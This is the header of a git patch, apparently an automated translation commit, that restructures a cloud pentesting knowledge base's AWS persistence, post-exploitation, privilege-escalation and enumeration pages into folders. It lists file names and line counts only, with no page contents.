From 08a4831ca6db12b96dd0eeb2f9da721b2b47e67e Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Tue, 14 Oct 2025 01:52:33 +0000
Subject: [PATCH] Translated
 ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

---
 .../aws-api-gateway-persistence.md            |  32 -
 .../aws-api-gateway-persistence/README.md     |  32 +
 .../aws-cloudformation-persistence.md         |  23 -
 .../aws-cloudformation-persistence/README.md  |  23 +
 .../aws-cognito-persistence.md                |  40 --
 .../aws-cognito-persistence/README.md         |  40 ++
 .../aws-dynamodb-persistence.md               |  59 --
 .../aws-dynamodb-persistence/README.md        |  59 ++
 .../aws-persistence/aws-ec2-persistence.md    |  54 --
 .../aws-ec2-persistence/README.md             |  62 ++
 .../README.md                                 |  75 +++
 .../aws-persistence/aws-ecr-persistence.md    |  91 ---
 .../aws-ecr-persistence/README.md             | 145 +++++
 .../aws-persistence/aws-ecs-persistence.md    |  93 ---
 .../aws-ecs-persistence/README.md             | 151 +++++
 .../aws-persistence/aws-efs-persistence.md    |  21 -
 .../aws-efs-persistence/README.md             |  21 +
 .../README.md}                                |  24 +-
 .../aws-persistence/aws-iam-persistence.md    |  47 --
 .../aws-iam-persistence/README.md             |  47 ++
 .../aws-persistence/aws-kms-persistence.md    |  37 --
 .../aws-kms-persistence/README.md             |  37 ++
 .../aws-lightsail-persistence.md              |  33 --
 .../aws-lightsail-persistence/README.md       |  33 ++
 .../aws-persistence/aws-rds-persistence.md    |  27 -
 .../aws-rds-persistence/README.md             |  27 +
 .../aws-persistence/aws-s3-persistence.md     |  25 -
 .../aws-s3-persistence/README.md              |  25 +
 .../aws-sagemaker-persistence.md              | 158 -----
 .../aws-sagemaker-persistence/README.md       | 230 ++++++++
 .../aws-secrets-manager-persistence.md        |  51 --
 .../aws-secrets-manager-persistence/README.md | 234 ++++++++
 .../aws-persistence/aws-sns-persistence.md    |  77 ---
 .../aws-sns-persistence/README.md             | 113 ++++
 .../aws-persistence/aws-sqs-persistence.md    |  37 --
 .../aws-sqs-persistence/README.md             |  47 ++
 .../aws-sqs-dlq-backdoor-persistence.md       |  71 +++
 .../aws-sqs-orgid-policy-backdoor.md          |  38 ++
 .../aws-persistence/aws-ssm-persistence.md    |  27 -
 .../aws-ssm-persistence/README.md             |  27 +
 .../aws-step-functions-persistence.md         |  21 -
 .../aws-step-functions-persistence/README.md  |  21 +
 .../README.md}                                |  26 +-
 .../aws-api-gateway-post-exploitation.md      | 132 -----
 .../README.md                                 | 132 +++++
 .../aws-cloudfront-post-exploitation.md       |  31 -
 .../README.md                                 |  31 +
 .../aws-control-tower-post-exploitation.md    |  18 -
 .../README.md                                 |  18 +
 .../aws-dlm-post-exploitation.md              |  91 ---
 .../aws-dlm-post-exploitation/README.md       |  91 +++
 .../README.md}                                | 117 ++--
 .../README.md                                 | 165 ++++--
 .../aws-ami-store-s3-exfiltration.md          | 137 +++++
 .../aws-ebs-multi-attach-data-theft.md        |  78 +++
 ...-ec2-instance-connect-endpoint-backdoor.md | 113 ++++
 .../aws-eip-hijack-impersonation.md           |  52 ++
 .../aws-eni-secondary-ip-hijack.md            |  50 ++
 .../aws-managed-prefix-list-backdoor.md       |  72 +++
 .../aws-vpc-endpoint-egress-bypass.md         |  68 +++
 ...pc-flow-logs-cross-account-exfiltration.md |  74 +++
 .../aws-ecr-post-exploitation.md              |  92 ---
 .../aws-ecr-post-exploitation/README.md       | 210 +++++++
 .../aws-ecs-post-exploitation.md              |  57 --
 .../aws-ecs-post-exploitation/README.md       | 128 ++++
 .../aws-efs-post-exploitation.md              |  46 --
 .../aws-efs-post-exploitation/README.md       |  46 ++
 .../aws-eks-post-exploitation.md              | 143 -----
 .../aws-eks-post-exploitation/README.md       | 143 +++++
 ...aws-elastic-beanstalk-post-exploitation.md |  70 ---
 .../README.md                                 |  70 +++
 .../README.md}                                |  44 +-
 .../aws-kms-post-exploitation.md              | 182 ------
 .../aws-kms-post-exploitation/README.md       | 182 ++++++
 .../aws-lightsail-post-exploitation.md        |  30 -
 .../aws-lightsail-post-exploitation/README.md |  30 +
 .../aws-organizations-post-exploitation.md    |  17 -
 .../README.md                                 |  17 +
 .../README.md}                                | 128 ++--
 .../aws-s3-post-exploitation.md               |  38 --
 .../aws-s3-post-exploitation/README.md        |  38 ++
 .../aws-sagemaker-post-exploitation/README.md | 179 ++++++
 .../feature-store-poisoning.md                |  50 ++
 .../aws-secrets-manager-post-exploitation.md  | 130 -----
 .../README.md                                 | 130 +++++
 .../README.md}                                |  18 +-
 .../aws-sns-post-exploitation.md              |  68 ---
 .../aws-sns-post-exploitation/README.md       |  82 +++
 .../aws-sns-data-protection-bypass.md         |  92 +++
 .../aws-sns-fifo-replay-exfil.md              | 100 ++++
 .../aws-sns-firehose-exfil.md                 |  76 +++
 .../aws-sqs-dlq-redrive-exfiltration.md       | 150 +++++
 .../aws-sqs-post-exploitation.md              |  73 ---
 .../aws-sqs-post-exploitation/README.md       |  83 +++
 .../aws-sqs-dlq-redrive-exfiltration.md       | 154 +++++
 .../aws-sqs-sns-injection.md                  |  54 ++
 .../README.md}                                |  14 +-
 .../aws-stepfunctions-post-exploitation.md    | 184 ------
 .../README.md                                 | 183 ++++++
 .../README.md}                                |  28 +-
 .../aws-vpn-post-exploitation.md              |  13 -
 .../aws-vpn-post-exploitation/README.md       |  13 +
 .../README.md}                                |  40 +-
 .../README.md}                                |  18 +-
 .../aws-chime-privesc.md                      |   9 -
 .../aws-chime-privesc/README.md               |   9 +
 .../README.md}                                |  58 +-
 .../aws-codepipeline-privesc.md               |  37 --
 .../aws-codepipeline-privesc/README.md        |  37 ++
 .../aws-cognito-privesc.md                    | 274 ---------
 .../aws-cognito-privesc/README.md             | 274 +++++++++
 .../README.md}                                |  20 +-
 .../aws-directory-services-privesc.md         |  32 -
 .../aws-directory-services-privesc/README.md  |  32 +
 .../aws-dynamodb-privesc.md                   |  72 ---
 .../aws-dynamodb-privesc/README.md            |  72 +++
 .../aws-ebs-privesc.md                        |  27 -
 .../aws-ebs-privesc/README.md                 |  27 +
 .../aws-ec2-privesc.md                        | 261 ---------
 .../aws-ec2-privesc/README.md                 | 300 ++++++++++
 .../aws-ecr-privesc.md                        | 100 ----
 .../aws-ecr-privesc/README.md                 | 268 +++++++++
 .../aws-ecs-privesc.md                        | 327 -----------
 .../aws-ecs-privesc/README.md                 | 551 ++++++++++++++++++
 .../aws-efs-privesc.md                        |  86 ---
 .../aws-efs-privesc/README.md                 |  86 +++
 .../README.md}                                |  28 +-
 .../aws-emr-privesc.md                        |  62 --
 .../aws-emr-privesc/README.md                 |  62 ++
 .../aws-privilege-escalation/aws-gamelift.md  |  16 -
 .../aws-gamelift/README.md                    |  16 +
 .../README.md}                                |  24 +-
 .../README.md}                                |  98 ++--
 .../README.md}                                |  26 +-
 .../README.md}                                | 102 ++--
 .../aws-lightsail-privesc.md                  | 136 -----
 .../aws-lightsail-privesc/README.md           | 136 +++++
 .../aws-macie-privesc.md                      |  38 --
 .../aws-macie-privesc/README.md               |  38 ++
 .../README.md}                                |   8 +-
 .../aws-mq-privesc.md                         |  43 --
 .../aws-mq-privesc/README.md                  |  43 ++
 .../aws-msk-privesc.md                        |  22 -
 .../aws-msk-privesc/README.md                 |  22 +
 .../aws-organizations-prinvesc.md             |  18 -
 .../aws-organizations-prinvesc/README.md      |  18 +
 .../README.md}                                |  64 +-
 .../README.md}                                |  36 +-
 .../aws-s3-privesc.md                         | 186 ------
 .../aws-s3-privesc/README.md                  | 186 ++++++
 .../aws-sagemaker-privesc.md                  | 106 ----
 .../aws-sagemaker-privesc/README.md           | 260 +++++++++
 .../README.md}                                |  12 +-
 .../aws-sns-privesc.md                        |  37 --
 .../aws-sns-privesc/README.md                 |  81 +++
 .../aws-sqs-privesc.md                        |  40 --
 .../aws-sqs-privesc/README.md                 |  40 ++
 .../aws-ssm-privesc.md                        | 130 -----
 .../aws-ssm-privesc/README.md                 | 130 +++++
 .../README.md}                                |  38 +-
 .../aws-stepfunctions-privesc.md              | 231 --------
 .../aws-stepfunctions-privesc/README.md       | 231 ++++++++
 .../aws-sts-privesc.md                        | 136 -----
 .../aws-sts-privesc/README.md                 | 136 +++++
 .../README.md}                                |  20 +-
 .../README.md}                                |  14 +-
 ...acm-pca-issuecertificate-acm-pca-getcer.md |  32 -
 .../README.md                                 |  32 +
 .../README.md}                                |  16 +-
 .../aws-services/aws-sagemaker-enum/README.md | 201 +++++++
 .../aws-accounts-unauthenticated-enum.md      |  43 --
 .../README.md                                 |  43 ++
 .../aws-api-gateway-unauthenticated-enum.md   |  52 --
 .../README.md                                 |  52 ++
 .../aws-cloudfront-unauthenticated-enum.md    |   9 -
 .../README.md                                 |   9 +
 .../aws-codebuild-unauthenticated-access.md   |  33 --
 .../README.md                                 |  33 ++
 .../aws-cognito-unauthenticated-enum.md       |  44 --
 .../README.md                                 |  44 ++
 .../aws-documentdb-enum.md                    |   9 -
 .../aws-documentdb-enum/README.md             |   9 +
 .../aws-dynamodb-unauthenticated-access.md    |  15 -
 .../README.md                                 |  15 +
 .../README.md}                                |  22 +-
 .../aws-ecr-unauthenticated-enum.md           |  30 -
 .../aws-ecr-unauthenticated-enum/README.md    |  30 +
 .../aws-ecs-unauthenticated-enum.md           |  23 -
 .../aws-ecs-unauthenticated-enum/README.md    |  23 +
 ...-elastic-beanstalk-unauthenticated-enum.md |  35 --
 .../README.md                                 |  35 ++
 .../README.md}                                |   6 +-
 .../README.md}                                |  48 +-
 ...ity-center-and-sso-unauthenticated-enum.md | 123 ----
 .../README.md                                 | 123 ++++
 .../README.md}                                |   4 +-
 .../aws-kinesis-video-unauthenticated-enum.md |   9 -
 .../README.md                                 |   9 +
 .../aws-lambda-unauthenticated-access.md      |  20 -
 .../README.md                                 |  20 +
 .../README.md}                                |   4 +-
 .../aws-mq-unauthenticated-enum.md            |  20 -
 .../aws-mq-unauthenticated-enum/README.md     |  20 +
 .../aws-msk-unauthenticated-enum.md           |  16 -
 .../aws-msk-unauthenticated-enum/README.md    |  16 +
 .../README.md}                                |  20 +-
 .../README.md}                                |   4 +-
 .../aws-s3-unauthenticated-enum.md            | 194 ------
 .../aws-s3-unauthenticated-enum/README.md     | 194 ++++++
 .../README.md                                 | 108 ++++
 .../aws-sns-unauthenticated-enum.md           |  21 -
 .../aws-sns-unauthenticated-enum/README.md    |  55 ++
 .../aws-sqs-unauthenticated-enum.md           |  21 -
 .../aws-sqs-unauthenticated-enum/README.md    |  21 +
 214 files changed, 9514 insertions(+), 6154 deletions(-)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md
 rename src/pentesting-cloud/aws-security/aws-persistence/{aws-elastic-beanstalk-persistence.md => aws-elastic-beanstalk-persistence/README.md} (54%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md
 rename src/pentesting-cloud/aws-security/aws-persistence/{aws-sts-persistence.md => aws-sts-persistence/README.md} (70%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-dynamodb-post-exploitation.md => aws-dynamodb-post-exploitation/README.md} (64%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-iam-post-exploitation.md => aws-iam-post-exploitation/README.md} (52%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-rds-post-exploitation.md => aws-rds-post-exploitation/README.md} (75%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-ses-post-exploitation.md => aws-ses-post-exploitation/README.md} (70%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-sso-and-identitystore-post-exploitation.md => aws-sso-and-identitystore-post-exploitation/README.md} (66%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-sts-post-exploitation.md => aws-sts-post-exploitation/README.md} (65%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-apigateway-privesc.md => aws-apigateway-privesc/README.md} (53%)
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-apprunner-privesc.md => aws-apprunner-privesc/README.md} (62%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-codebuild-privesc.md => aws-codebuild-privesc/README.md} (76%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-datapipeline-privesc.md => aws-datapipeline-privesc/README.md} (62%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-elastic-beanstalk-privesc.md => aws-elastic-beanstalk-privesc/README.md} (69%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-glue-privesc.md => aws-glue-privesc/README.md} (54%)
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-iam-privesc.md => aws-iam-privesc/README.md} (51%)
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-kms-privesc.md => aws-kms-privesc/README.md} (63%)
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-lambda-privesc.md => aws-lambda-privesc/README.md} (54%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-mediapackage-privesc.md => aws-mediapackage-privesc/README.md} (55%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-rds-privesc.md => aws-rds-privesc/README.md} (51%)
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-redshift-privesc.md => aws-redshift-privesc/README.md} (56%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-secrets-manager-privesc.md => aws-secrets-manager-privesc/README.md} (58%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-sso-and-identitystore-privesc.md => aws-sso-and-identitystore-privesc/README.md} (56%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-workdocs-privesc.md => aws-workdocs-privesc/README.md} (57%)
 rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{eventbridgescheduler-privesc.md => eventbridgescheduler-privesc/README.md} (60%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md
 rename src/pentesting-cloud/aws-security/aws-services/{aws-documentdb-enum.md => aws-documentdb-enum/README.md} (59%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md
